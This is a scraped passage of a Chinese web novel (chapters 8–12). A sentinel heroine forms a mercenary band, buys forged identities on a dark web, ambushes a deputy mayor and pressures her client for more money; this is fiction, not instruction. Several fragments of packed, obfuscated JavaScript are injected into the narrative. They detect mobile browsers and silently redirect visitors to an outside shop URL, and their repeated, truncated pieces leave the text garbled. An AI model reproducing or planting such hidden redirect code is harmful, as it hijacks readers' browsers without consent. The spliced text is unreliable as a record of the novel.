0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060282|195040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下眉开眼笑道:“Boss,咱们今天捡了个现成便宜,不用动手就赚了500万。” 什么,500万?! 程浪震惊了。 不是,当雇佣兵这么暴利吗? 她穿过来前经过数场淘汰赛,历时一个月,过五关斩六将,最终夺得了国际散打冠军,最高奖金也就80万,只有凯斯这单生意的几分之一。 凯斯并没有白捡钱的激动,兴味索然地转过身:“走吧,没劲。” “是!” 手下们把死猪一样的赵有鑫抬上车,随后就撤了。 一帮雇佣兵来得快,去得也快,转眼间偌大的鸿福山庄只剩下三只“小杂鱼”。 危险解除,程浪松了一口气。 “欸玛,刚才吓得我小心脏扑扑乱跳……” 孙大成说着转过身,突然又“啊”的一声大叫,双目圆睁,瞪着程浪背后,一副活见鬼的模样。 熊正豪觉得奇怪,转头一瞧,霎时也定在当场。 程浪身后,狮鬃水母显露出完全形态,整个体型长达三十米,比之前他们看到的形态还要大一倍,就像一只浮空艇一般游弋在半空中。 程浪是见凯斯那帮人走了,于是就放松下来,一时间忘了约束狮鬃水母。 孙大成又将她重新打量一番,惊叹道:“乖乖,今天我算是开了眼界了,头一回见到这么霸道体型这么大的精神体,还能变大变小,简直像魔法一样。” 即便熊正豪曾经是A级哨兵,也觉得不可思议。 通常情况下,精神体越大,异能者的能力就越强。 而程浪那只狮鬃水母的体积已经超出他们的认知了,这个貌不惊人的姑娘实在是深不可测。 程浪把狮鬃水母收回脑海,正色道:“希望你们不要透露出去,否则——” 不等她说完,孙大成就竖起三根手指发誓:“我绝对不会乱说,否则我就当场烂嘴掉牙一辈子只能喝西北风。” 熊正豪憋了一下道:“那就让我两只眼睛都瞎掉,出门就掉坑里。” 行,够毒的。 孙大成小心翼翼地问程浪:“你究竟是哪个级别的哨兵?” 程浪摊手:“不知道,没测过。” 熊正豪认真道:“我觉得应该是A级以上。” 孙大成惊异:“A级以上?超A级吗?” “也许不止。”熊正豪有点迟疑,“军队里的高手很多,超A级的我也见过,但没有一个能躲子弹的。以前我左眼没瞎的时候得过全州军区格斗比赛冠军,但我感觉自己状态最好的时候也不是小程对手。” 孙大成吸了口冷气:“比超A级还厉害,那只有S级了。” 两人一起看向程浪,眼睛刷刷放光,仿佛看着外星人一样。 9. 第 9 章 程浪被孙大成和熊正豪看得心里发毛,想起余大海临死前说的话,便正色道:“无论我是什么级别,你们都别出去乱说,我才刚刚成为哨兵,戴不起这顶大帽子。” “好好好,那就不说这个了。”孙大成很识趣,“不过,小程妹子——不对,你这么厉害,应该叫你程姐才对。” 程浪哭笑不得:“你这喊的好像我瞬间老了十岁,明明你年纪比我还大。” 孙大成嘿嘿一笑:“这个不是重点,重点是你接下来有什么打算?” 这份保镖的工作算是黄了,只能另谋出路。程浪便道:“重新投简历找工作吧。” 孙大成眼珠子转了转,说:“这年头像样点的工作难找得很,多半都不靠谱,再找跟今天估计也差不多。我看不如咱们也当雇佣兵吧,像凯斯他们那样接任务赚佣金,比当保镖什么的自由,来钱还更快。” 熊正豪眼睛一亮:“没错!” 程浪想也没想,一口回绝:“这怎么行,雇佣兵是非法的。” 在她的认知中,雇佣兵是在局势动荡的地区通过战争获利的非正规武装人员,干的是绑架暗杀勒索等黑色勾当,为了赚钱不择手段,不受政府认可。 自己一个长在红旗下、一向遵纪守法的良好公民,怎么能从事这种非法活动呢? 孙大成反问:“怎么不行?雇佣兵虽然明面上不合法,但实际上联邦政府根本不管,也没办法管。有时候甚至还会跟佣兵团做交易,来解决他们没办法处理的问题。 “而且你在警方那边也有案底,刚才还把赵有鑫打个半死,以后要找正经工作比登天还难,除了干这个还能有什么更好的出路?” 熊正豪深有同感:“是啊,当雇佣兵比当正规兵还自在点。军队里也黑得很,没有后台和背景很难有出头之日,我这些年也算是看明白了。而且干这一行不是非要干些杀人放火违背良心的勾当,也是可以选择的。” 程浪哑口无言。 孙大成和熊正豪说的是实情。 如今不再是她熟悉的公平公正的法治社会,而是混乱无序弱肉强食的异世界。这一天发生的事情反复阐明了这一点,现实就是这么冷酷无情,她曾经信奉的准则在这里并不适用。 一味循规蹈矩,只会寸步难行。 比较起来,当雇佣兵或许是个可行的选择。 见她表情有所松动,孙大成立即怂恿:“不用犹豫了,来吧来吧!赵有鑫已经完蛋了,鸿福山庄就是咱们现成的地盘。从今天开始,我和豪哥就当你的小弟,以后就跟着你干了!” 说着胳膊肘动了动熊正豪,“对吧,豪哥?” 熊正豪立即应道:“对,我们俩都听你的。” 今天程浪无论是身手还是头脑都展现出了超乎寻常的水平,让孙大成和熊正豪都心服口服,起了追随之意。 如今这世道单打独斗很难成气候,如果能组成团队,战斗力肯定就大不一样了。 程浪疑惑道:“我们能继续待在鸿福山庄吗?赵家人或者警察不会来追究?” 要是睡到半夜被人从床上赶下来怎么办。 孙大成满不在乎道:“不会,赵有鑫众叛亲离,没有什么家人朋友。何况他是被雇佣兵抓走的,谁也不敢来触这个霉头。” 熊正豪点头:“警方对这种情况也是多一事不如少一事,懒得管。无主的空房,谁占了就算谁的。” 话说到这个地步,面对两双殷切期盼的眼睛,程浪就不再纠结,下了决定:“那好,我们就组个佣兵团。” 孙大成和熊正豪喜出望外,齐齐喊了一声:“老大!” 程浪哭笑不得地应了。 她这算是被逼上梁山了吗? 孙大成又趁热打铁道:“老大,咱们起个团名吧,威武霸气的,像Snake他们那样,以后好接任务。” 程浪:“行,你有什么想法?” 孙大成:“叫‘兴风作浪’怎么样?一听就很牛X,还包含了老大你的名字。” 程浪黑线:“这个好像不是什么好词吧。” “巨浪滔天?” “一般般。” 熊正豪跟着出主意:“乘风破浪呢?” “有点刻意了,不用非得带我的名字。” 程浪不想太过高调张扬,想了想后道:“就叫乘风吧,简单点。” 孙大成和熊正豪一起鼓掌:“乘风好,乘风妙,乘风呱呱叫!” 程浪:“……” 在两名小弟的大力拥护下,日后让许多人闻风丧胆的“乘风佣兵团”就这样诞生了。 佣兵团是成立了,怎么接任务呢?程浪对此一无所知,原身也没有半点相关的了解。 孙大成挠挠头:“好像有个什么暗网,但一般人上不去。” 熊正豪说:“对,是暗网,我以前当兵时接触过,可以在上面发布和领取任务。” 他从自己手环上拉出浏览器的虚拟光屏,输入一串特殊指令。 片刻后网页加载出来,版头四个大字,“暗夜纵横”,这就是全球最大的地下交易网站了。 里面分门别类有上十个版块,只要明面上不允许的交易这里都应有尽有,诸如军火交易,人口贩卖,违禁品买卖等等,也包括雇佣任务区。 点进雇佣区,无数任务在里面不停滚动,难度不同,佣金数额也不一样,有的高达几百上千万,低的也有数万。 暗网注册的佣兵团人数有多有少,实力雄厚的大团可达数百人,堪比一支小型军队。 完成任务后佣兵团可获得相应积分,难度越大,积分越多,优先接高佣任务的权重也越高。 反之,任务失败积分则为零,还会有相应罚款。 佣兵团势力排行榜上,Snake赫然在列,成立五年,积分高达10万,在全网排名前十。 孙大成摩拳擦掌,兴奋地说:“老大,你是团长,你来注册一个帐号吧!” “好。” 程浪点开注册区,在雇佣团名字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060283|195040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中输入“乘风佣兵团”,在要进行自己的身份确认时,熊正豪忽道:“老大,等等,用你的真实身份登陆不大妥当。虽然政府对暗网的存在睁一只眼闭一只眼,但以后如果往来资金多了,有可能会引起警方注意,惹来一些麻烦。” 想到赵有鑫之前说自己被警方通缉了,程浪也觉得有风险:“那怎么办?” 她发现熊正豪这人看起来五大三粗的,但却粗中有细,在从军数年的经历中锻炼出了一定的侦察与反侦察能力,能够弥补自己和孙大成注意不到的短板。 熊正豪说:“办个假、证,再开个新的户头,这样就稳妥了,暗网上直接就可以办。” 孙大成打了个响指:“对,刚才忘了这一茬,这样更保险,咱们仨每人都办一个,隔段时间再重新办新的。” 程浪也是服气了:“那行,你们看着办。” 熊正豪在暗网上找到相应版块,十指如飞一顿操作,片刻后有些窘迫道:“那啥,每个人需要500的手续费,我手上不到1000,不够三个人的。” 孙大成乐了:“哈哈,豪哥你还比我有钱一点,我只有600出头。” 程浪:“不好意思,我户头上只有5毛钱了。” 孙大成和熊正豪:“……” 得,一个比一个穷。 程浪也有些汗颜:“要不我等一等,晚几天再说,你们俩先办?” 孙大成立即否定:“那不行,你是我们团长,怎么能让你等。” 熊正豪也道:“是啊,我和大成凑起来刚好就够了,几百块钱而已,小意思。” 程浪就不再跟他们客气。 十来分钟后,三个人的新身份和新帐户就办好了。 暗网这效率没得说,难怪能发展得这么红火。 程浪真是有点一言难尽,这一天里把各种违法事情做了个遍,放在以前根本不敢想。 现在万事具备,可以接任务了。 暗网对每项任务会进行难度评估,从易到难分别为1星到5星,对佣兵团的积分有要求。 他们这是新帐号,零积分,目前能接的任务不多,程浪选了一个看起来不太麻烦的小case练练手。 任务描述:上司长期跟我妻子保持不正当关系,还经常打压我,帮我教训他一顿。不用打死,让他身败名裂,以后没办法再压榨我、给我戴绿帽就行。 额外要求:不能暴露我的信息,否则任务作废,还要赔偿三倍佣金。 完成时间:即日起一周内 难度评级:1星 任务佣金:5万信用币 积分奖励:10点 发布人隐藏了自己的真实身份,只给出了上司的姓名和年龄等基本资料,住址就在青岩市,距离鸿福山庄大概两个小时的车程。 就这个了! 程浪接了任务后已经到了凌晨两点,困得打了个哈欠:“好晚了,先休息吧,明天早上出发。” 两名小弟:“是,老大!” 10. 第 10 章 鸿福山庄一夜之间换了主人,并没有溅起什么水花,和孙大成熊正豪说的一样。 程浪翌日一觉睡到自然醒,庄园里风平浪静,一派详和。 别墅里应有尽有,陈设豪华又舒适,是再好不过的栖身之所,再多来十个人都住得下。 虽然没有下人服务了,但有家务机器人干活,用不着他们自己动手。 只是吃饭方面略有点麻烦。 厨房里的保鲜柜储藏了不少生鲜食材,有菜有肉,物资颇为丰富。 这个世界大部分土壤都污染严重,可耕种土地有限,气候也不好,农作物很难自然生长。 只有少数资本雄厚的农场主才有实力发展农牧业,建立无害化环境,以高昂成本种植蔬菜水果以及养殖牲畜,供给达官富人们所需。 比如保鲜柜里的番茄是论个卖的,一个就要30信用币,够一名普通老百姓吃一天的营养剂。 赵有鑫别的不行,吃的方面倒是不会亏待自己,那身肥肉没白长。 只可惜有食材却没人做。 厨房里各种厨具琳琅满目,还有一台料理机,似乎可以对食材进行清洗和基本处理,碎成丁后再加热成熟食,但过程中也需要有人在旁操作。 孙大成和熊正豪从小吃营养剂,从来没做过饭。程浪以前无论是上学还是后来成为职业运动员,一日三餐都由国家负责,同样什么都不会做。 三个厨艺小白看到那些食材和五花八门的厨具就觉得比打架还麻烦,一致选择了回避。 食材做坏了可惜,要是炸了厨房那就更不好了。 所以,还是吃营养剂吧,简单又省事! 别墅里的营养剂当然比程浪在贫民区里吃的高级,口味也多,量大管饱,不是太挑剔的话问题不大。 吃完早饭,熊正豪将一箱营养剂和瓶装纯净水搬上车,做好外出做任务的准备。 程浪抬手一挥:“好了,弟兄们,出发!” 孙大成在驾驶位上一脚踩下油门,吉普车以时速160公里的速度驰向目的地。 * 午后。 一座数十米高的山丘上,乘风佣兵团三人小队一字排开,用熊正豪的军用望远镜观察五百米开外处某个小区里的一栋两层楼的小别墅。 这个小区虽然不像鸿福山庄整的那么漂亮气派,但更有规划性,安防措施更严密。 小区门口还有穿着制式军服的哨兵站岗,周围也有大兵巡逻。 孙大成摸着下巴说:“这个叫艾伯特的家伙身份不简单啊,应该是个当官的。” 熊正豪上网查了一下,肃然道:“确实不简单。这里是市政府官员的住宅区,艾伯特也并非普通小官,而是青岩市的副市长,手里有实权的,明年很有可能要高升去市政府了。” 孙大成踢飞一颗石子,骂道:“靠,任务里面根本没说!而且这么大个官,佣金才5万,也太低了吧!” 程浪也没想到本来接个1级的小任务,结果任务目标竟然来头这么大。 他们还是经验不足,接任务前就应该先把背景调查清楚才对。 估计雇主不想把事情闹大引火烧身,所以才故意定了比较低的价位,来吸引他们这种刚进新手村的菜鸟。 难道把任务退了,重新换一个? “不能退。”孙大成语气沉重,“暗网规定,接了任务又不做或者不能在规定时间内完成,要扣除佣金的30%作为惩罚,按这个任务算就是1万5,不然就除名。” 1万5……他们三个现在统共都凑不出150来。 熊正豪愧疚道:“怪我,昨晚接任务的时候考虑不周。” “不,我是团长,最大的责任在我。”程浪正色道,“既然已经接了,咱们先来研究一下,这个任务究竟能不能完成,不能的话再想别的办法。” “嗯嗯!” 两名小弟应了,振作起精神。 三人在山丘上蹲下来,用石子树枝等在地面摆出简易沙盘来进行分析。 孙大成:“这个小区守卫很严密,进去的话肯定要一个个核对身份。我们装成维修工或者送外卖的怎么样?” 熊正豪:“那得有业主下单才行,就算混进去了,动起手来也容易暴露自己,不好脱身。” 程浪:“完成任务虽然重要,但更重要的是咱们的自身安全,否则得不偿失。” 孙大成:“确实。我看这个小区东西南三个方向都有岗哨,北边靠山的地方好像没什么人看着,我们要不从这里突破,把艾伯特抓住后打一顿就溜出去。” 熊正豪:“以我的了解,北边肯定装了高压电网,不过可以想办法破坏掉。” 孙大成:“对啊,今天是工作日,这位副市长这会儿应该不在家,我们晚上再行动,趁他睡熟了动手。” 程浪思索片刻后道:“我觉得在小区里面动手风险比较大,到处都是监控和卫兵,不如晚上在艾伯特下班回家的必经之路上埋伏,怎么样?” 孙大成拍了下大腿:“哎对,这个办法好!” 熊正豪也赞成:“这样不会惊动太多人,也更好操作一些。” 程浪:“那我们就按这个方案计划一下吧。” 孙大成和熊正豪:“老大英明!” * 夜十点半。 荒地里乌七麻黑,远远的亮着几点零星的灯火。 路边一片乱石堆后探出三颗头来,脸上都戴着全覆盖式过滤面罩,眼巴巴地望着道路的另一头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060284|195040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程浪和两名小弟从傍晚六点开始守在这里,已经埋伏了四个多小时,还是没等到目标人物出现。 此处距离艾伯特的家有两公里,周围没有什么人住,十分荒凉,是最好动手的地方。 但天黑后各种蚊虫鼠蚁特别多,对他们轮番进行攻击,搞得三个人不胜其烦,腿都蹲麻了。 孙大成第N次“啪”地拍了一下胳膊,掌心留下一团血印,骂道:“TNND,怎么这么晚还不回来。” 艾伯特的确还没回家,这个是可以肯定的,刚才他们在市政府网络上核实过,今天这位副市长确实在正常办公。 但现在距离下班时间已经过了许久,还没见到艾伯特的影子,也许今晚加班,也许去别的地方公干或者消遣去了,今天回不回来还不一定。 一直这样等下去太耗人,程浪便道:“等到十一点,还不来我们就撤,明天查清楚艾伯特的具体行程后再作打算,反正这个任务有一个星期的完成期限。” “行!” 又过了一会儿,一辆黑色高级轿车从市政府的方向开了过来,速度比较慢,车身一颠一颠的,车前大灯照亮了黑漆漆的马路。 熊正豪和孙大成傍晚在这一段路上撒了不少石块,以致路面凹凸不平,过往车辆在经过时都会降低速度。 程浪用望远镜一瞧,车头挂着的车牌为黄色,属于市政府专用,便低声道:“注意,可能是这一辆。” 两名小弟立即严阵以待。 黑车司机身材精悍,一看就是军人出身,副驾上卧着一只健硕的灰狼,显然是一名高级哨兵。 车后座有两个人,随着距离的接近,逐渐能看到一名头发银白的老头正搂着一名年轻女人调笑。 司机闻若未闻,漫不经心地开着车,看来已经习以为常了。 根据任务发布者提供的照片,这老头正是青岩市副市长艾伯特。 年轻女人不是艾伯特的妻子,或许是任务发布者的妻子,或许是艾伯特的其他情妇,这倒不重要。 两人打得火热,艾伯特急不可耐地抱着女人又啃又摸,似乎想在车上就圈圈叉叉一番。 画面太辣眼,程浪简直看不下去。 孙大成倒是动作利索地点开手环,调整焦距,录了一段清晰的小视频。 黑车驶到他们藏身位置前时,被一块大石头硌到,整个车身猛地颤了一下。 艾伯特不知道磕到哪里,痛呼一声,脸都绿了,然后连忙叫道:“怎么开的,停车停车!” 司机停了车,艾伯特骂骂咧咧地调整姿势。 三人当即戴着面罩从石堆后冲了出去,各自在不同方位站定,对黑车形成包围之势。 孙大成流里流气地叫道:“下车,打劫!” 11. 第 11 章 司机没当回事,按下车窗喝道:“找死吗?没看到我这是什么车?还不滚开!” 三人当然是不会滚的,站在原地一动不动。 司机恼火地开门下车,打算教训一下这三个不长眼的歹徒。 熊正豪当先一步上前,朝司机挥出重重一拳。 司机反应很快,侧身避开,接着也抡起拳头,和熊正豪对打起来。 孙大成则拉开后车门,把裤子还没穿好的艾伯特一把拽了出来。 艾伯特又惊又怒:“你们知道我是什么人吗?我是本市的副市长!要是胆敢对我动手,我让你们坐一辈子大牢!” “吓唬谁啊,老子还是联邦总统呢!” 孙大成信口开河,粗声粗气地怼了一句。 一脚踢过去,艾伯特顿时虾米一样弓着身子跪在地上,捂着裆部哀号起来。 然而后座上的年轻女人在最初的震惊过后竟然从座椅下摸出一把手、枪来,瞄准一无所觉的孙大成。 程浪眼疾手快,弹出一粒小石子,正中年轻女人的手腕。 女人痛呼一声,手、枪脱手,掉到座椅下。 孙大成暗道好险,钻进车里一掌将女人打晕,然后把她和衣不蔽体的艾伯特绑一起,逼着他说了几句话,又拍了一段视频。 别一边熊正豪则落入下风,以前按他的实力对付这名司机没问题,但现在视线受阻,反应速度慢了不少,被司机数次击中,只是凭着身体健壮硬扛着。 他的黑熊精神体也被动作利落的灰狼咬得团团转,几乎难以招架。 程浪立即施以援手,放出了狮鬃水母,自己则从侧边朝司机肋下一脚横踢。 司机冷不防来了一名高手,闷哼一声仰倒在汽车前盖上。 狮鬃水母伸出无数触手拦在黑熊精神体前,从四面八方袭击灰狼。 大夏天的,司机生生打了个冷战,不可思议地望着长达十余米的触手在空中飞舞,简直比异形电影还可怕。 及至程浪下一拳朝自己面门迅疾挥来,司机才回过神,毕竟是高级哨兵,平日也是训练有素,当即从车前盖仓促地滚过去,勉强躲了过去。 本以为这三个歹徒只是一些不入流的宵小之辈,趁天黑来打劫过往车辆捞点好处,没料到其中竟有这样厉害的角色,明明个子不高,身形瘦小,实力却强到可怕。 司机想要报警,却已经错失了最好的机会。 灰狼撕咬力强,动作也相当灵活,攻击力不容小觑,但跟狮鬃水母比起来还是不够看,没多久便被密密长长的触手缠裹起来,失去抵抗能力。 远处又有车辆开过来,再拖延下去会引来不必要的麻烦。 程浪速战速决,一个高踢腿击中司机的太阳穴,令其休克倒地。 司机陷入黑暗前的最后一刻,视网膜上留下的是漫天飞舞的触手残影。 程浪果断道:“撤!” 孙大成跟熊正豪赶紧跟在程浪身后跑到路边,上了停在附近的吉普车,一脚油门到底,溜之大吉。 *** 两个小时后,鸿福山庄。 程浪在暗网上联系发布任务的雇主,将孙大成拍的照片和小视频发过去。 很快,雇主回复消息:【你们没有暴露自己吧?】 程浪:【没有,我们是蒙面行动,前后只用了不到十分钟,在场没有任何其他目击者。】 雇主:【那行,你把这些东西以匿名形式发到“联邦在线”上。】 联邦在线是蓝星最大的一家门户网站,程浪依言照做。 程浪:【现在可以支付佣金了吗?】 雇主:【过几天吧,确认事情平息了我再付。】 程浪看他语气想拖,便道:【我们已经安全按照你的要求完成了任务,按照雇佣流程应该立即支付佣金,否则我可以投诉你。而且你事先没有交待清楚目标的身份背景,导致平台低估了任务难度,给我们造成了不小的麻烦,是不是应该再给补偿才行?】 想到这一点她心里就来气,一定要敲打一下这个耍滑头的雇主才行。 雇主还想狡辩:【哎,你别想讹诈我啊!我是第一次发任务,没搞明白那些规矩,又不是故意的。佣金也只是晚两天给你们而已,着什么急啊。】 想耍流氓赖帐是吧,姑奶奶可不惯着你,谁怕谁! 程浪:【你不着急,那我们闲着也是闲着,顺手查一下你的真实身份,然后把你的事迹写个报告,给市政府全体官员的邮箱发一份,你觉得怎么样?】 雇主这下急了:【别,你可千万不要冲动!这样吧,除了5万佣金,我再多给5万作为补偿,这样总可以了吧!】 程浪:【可以,你现在就把钱转过来,我把视频原文件删了,这项任务就算了结了。】 雇主真怕程浪把自己抖出去,雇佣兵都是些亡命之徒,他却不得不在乎自己的名声地位。 一旦身份暴露,他在本市就没有立锥之地了,艾伯特首先就会把他往死里整,于是立即转了10万给程浪,程浪这才作罢。 随后,这项任务的进度状态由红色的“正在进行”转为绿色的“完成”。 乘风佣兵团的积分也实现了零的突破,变成了10。 真是可喜可贺! 三个人一起看着程浪帐户上的收款提示,确定是10万信用币没错。 孙大成不由喜笑颜开:“10万啊,发财了发财了!” 熊正豪也乐呵呵道:“当雇佣兵确实不错,一天就能挣这么多,比当正规兵的军饷高。” 程浪不是没见过钱的人,10万也不算很多,但这次的体验感跟以前打比赛完全不一样,更加刺激,更富有挑战性,激发了她体内哨兵的好战因子。 她决定沿着雇佣兵这条有钱途的职业道路继续走下去! 第一次佣兵任务虽有波折,但却圆满并超额完成,程浪当即给两名小弟一人转了3万。 孙大成忙道:“老大,你给的太多了,这个任务能完成,主要功劳都在你。” 熊正豪点头:“是啊,要是只有我跟大成两个人,不但做不了任务,恐怕还要凶多吉少。” 按两人的想法,程浪能给他们佣金的10%,也就是每人1万,那就相当不错了,之前赵有鑫招保镖,一个月也就这么多。 可程浪一给就给了每人30%,两个人都觉得受之有愧。 程浪说:“应该的,大家都出了力,我一个人也不可能面面俱到。咱们是一个团队,就应该有福同享。” 两名小弟霎时感动不已,有这样厉害又大方的老大夫复何求,定要誓死追随! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060285|195040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >像以前每次参加完比赛后作总结一样,程浪回忆了一下这项任务的完成经过,跟孙大成和熊正豪做复盘。 今天总体还算比较顺利,但事先有些地方考虑不周,以后要尽量做好充足准备,减少意外情况的发生。 另外,还有配合问题。 程浪分析道:“成哥,你反应快,身手灵敏,往往能够出奇不意。但体能有限,比较脆皮,对上体格健壮等级更高的哨兵会很艰难。 豪哥则相反,体质出众,抗打击能力很强。缺点在于视野受限,敏捷度不高,不能充分发挥出自己的实力,有点可惜了。” 两名小弟连连点头。 孙大成和熊正豪也明白自己的短板,但却没办法改进,这些年来都吃过不少亏。 程浪继续道:“所以你们俩以后遇到不好对付的人时就尽量多打配合,取长补短。好比成哥当剑,豪哥作盾,两个人一起作战可以提高战斗力,达到1+1>2的效果。就像今天那个司机,要是你们俩相互照应,就算我不出手,多半也能打赢他。” 孙大成:“诶对,这是个好办法!” 熊正豪:“太好了,我可以不用再当半个瞎子了。” “豪哥,咱们现在来练练吧?” “行!” 两人摩拳擦掌,用手环调出一个虚拟A级哨兵作对手,当场演练起来。 熊正豪在前当肉盾,孙大成在后掠阵打辅助,同时发出指令。 “豪哥,左边!” “右边,右边!” “错了,你打反了!” “哎慢点慢点!” 熊正豪一时间反应不过来,被孙大成指挥得晕头转向,两人手忙脚乱的,接连被虚拟哨兵击中。 要是换成真人,估计会被打得比较惨。 两人的精神体也在一边比划,浣熊跳到黑熊的背上,用爪子拍打它的耳朵来发出指令。 黑熊不得要领,驮着浣熊没头苍蝇一样奔来奔去。 虽然都是熊,但二者差异巨大,思维不在一个频道,沟通起来颇有难度。 眼前场面有点滑稽,程浪想笑又不敢笑。 好在混乱状态持续了十来分钟后,两人摸到窍门,渐渐适应起来。 孙大成的判断越来越准确迅速,熊正豪的执行力也逐渐提升,两人的配合一点点默契起来。 黑熊也不像之前那样跌跌撞撞,驮着浣熊跑得呼呼生风,能够比较灵活地改换方向。 三局过后,两人对虚拟A级哨兵形成有效压制,终于打赢了。 孙大成和熊正豪都激动不已,伸出拳头互相碰了一下。 “双熊”组合大法好! 随后孙大成又提出一个新问题:“老大,我们现在只有三个人,碰到Snake那种大团队会比较难搞,以后是不是再招几个帮手?” 程浪说:“可以,不过贵精不贵多,为人品性很重要。” 孙大成说的确实是个不容忽视的问题,高佣金的大任务一般需要团队作战,人少了拿不下,危险指数太高。 就算他们三个再厉害,也不能以一当百。 但秉着宁缺勿滥的原则,除了实力外,个人品行也是程浪衡量的标准。 孙大成附和道:“对,我们乘风佣兵团只收精品,不收破烂!” 12. 第 12 章 当天凌晨,门户网站“联邦在线”上一则政届丑闻冲上了热搜榜一。 “有消息称14州青岩市副市长艾伯特数小时前在回家路上被三名蒙面歹徒袭击,同行一名女伴和身为A级哨兵的司机兼保镖都受了伤。副市长本人下、体则遭受重击,今后恐将不能人道。三名蒙面歹徒事后逃之夭夭,不知所踪……” 新闻附上了一条短视频,一名银发苍苍的老头和一名身材火辣的年轻女子在汽车后座上亲热,画面不堪入目。 镜头一转,老头和年轻女子绑在一起,一把鼻涕一把泪地诉说:“我是青岩市副市长艾伯特,我背着妻子和其他女人鬼混,我不是东西,我下流……请你放过我,我以后再也不敢了……” 底下的评论刷得飞快,说什么的都有。 【嚯,真是开眼界了,一个副市长居然是这个德性!】 【那女的都够当这位副市长的孙女了,老不正经的东西!】 【A级哨兵都受伤了吗?歹徒也太厉害了吧!】 【这个副市长不会是被人做局了吧,看着怪可怜的。】 【可怜个鬼,肯定是给别人戴绿帽才被打的,活该!】 【这几个歹徒是什么来头,连副市长都敢打,真是太猖狂了。】 至于三名歹徒究竟是何方神圣,当然没有一个答得上来的。 与此同时,青岩市市医院,艾伯特躺在VIP特护病房的病床上,手背上连着输液针头,脸色白里发青,与往日的意气风发判若两人。 警察已经等在病房里,给这位倒霉的副市长做笔录。 警察:“艾伯特先生,您能描述一下三名歹徒的外貌特征吗?” 艾伯特虽然憔悴不堪,神情中还带着两分平日的气势:“天那么黑,他们三个都戴着面罩,我怎么看得出来!我的保镖呢?” 警察:“他的脑神经受到一定损伤,医生说很难修复,导致他可能出现了记忆错乱或者臆想症,翻来覆去说自己看到了一只比房子还大的触手怪,别的都说不清楚。请问您对此有什么头绪吗?” 艾伯特:“我能有什么头绪?我又不是哨兵,问我有什么用!” 警察:“呃,那跟您同车的那位小姐呢,您跟她具体是什么关系?” 艾伯特:“那个女的跟我是普通朋友,我们什么都没干,只是在聊天而已!那段视频是假的,是AI做的,你们看不出来吗?!都是你们疏于职守,没在那一带派人巡逻,才给了那些歹徒可趁之机,害我落下了终生残疾!我是被人诬陷的,在生命受到威胁时才被迫说了那些违心的话,你们居然像审问犯人一样来质疑我,真是岂有此理!” 眼看艾伯特嘴唇颤抖,一副快要背过气的模样,警察忙道:“先生,您冷静点,别激动。” 艾伯特痛心疾首:“被打的人不是你,你让我怎么冷静!噢,我的天神哪,我是受害人,你们必须尽快把那三个歹徒抓到,同时平息网上那些污蔑性的言论,恢复我的名誉!否则我就跟上级投诉你们懒政、怠政、不作为,危害公民的人身安全!” 警察:“行行行,我们会尽快督办您的案子,查清真相,还您一个清白……” 话没说完,病房门被人呯然撞开,几名记者冲了进来,对着艾伯特咔咔一通乱拍,闪光灯亮成一片。 “艾伯特先生,请问……” “副市长先生,您现在有什么感想……” 艾伯特愕然,抬手挡住脸,斥道:“谁允许你们进来的,出去!” 然而事态已经不受控制了,更多记者涌进走廊,将病房内外围了个水泄不通,比新闻发布会还热闹。 * 第一次佣兵任务顺利完成,令乘风佣兵团三名哨兵增添了不少信心,休整两天后,他们准备接第二个任务。 现在乘风在暗网上积分为10,任务完成度100%,可以接2星的任务了。 这次少说也得10万起步! 三个人来回浏览比较了一番,筛选出一个比较另类的任务。 任务描述:13州某工厂附近出现一只变异怪物,打伤了数名工厂员工,须尽快前往捕杀。 完成时间:即日起一周内 难度评级:2星 任务佣金:30万信用币 积分奖励:50点 底下附着一段模糊的视频,三更半夜,一名员工从工厂出来,从一条小路上经过时,几栋破房子后面突然窜出来一只怪物,一爪子把那名员工拍到了地上。 视频中光线太暗,加上画面抖动得太厉害,怪物的模样看不清楚,依稀像只大猩猩,比被害员工高了一个头。 蓝星上的动物种类与地球上的差不多,但有一些在环境污染中灭绝了,有些经过核辐射后发生了变异,比寻常野兽更加凶猛残忍,程浪在网上见到过。 但再凶猛也只是一只动物而已,不具备人类的智慧,三个人都觉得比较好操作,因此就接了这个任务。 13州与14州相邻,当晚他们整理了出行装备,第二天一早便开着破吉普前往13州,当天下午抵达了事故发生地。 这家工厂名叫昌明制品厂,规模不小,每年产值也比较可观。虽然近期出了怪物伤人事件,工厂依旧照常生产,里面传来隆隆的机器运转声。 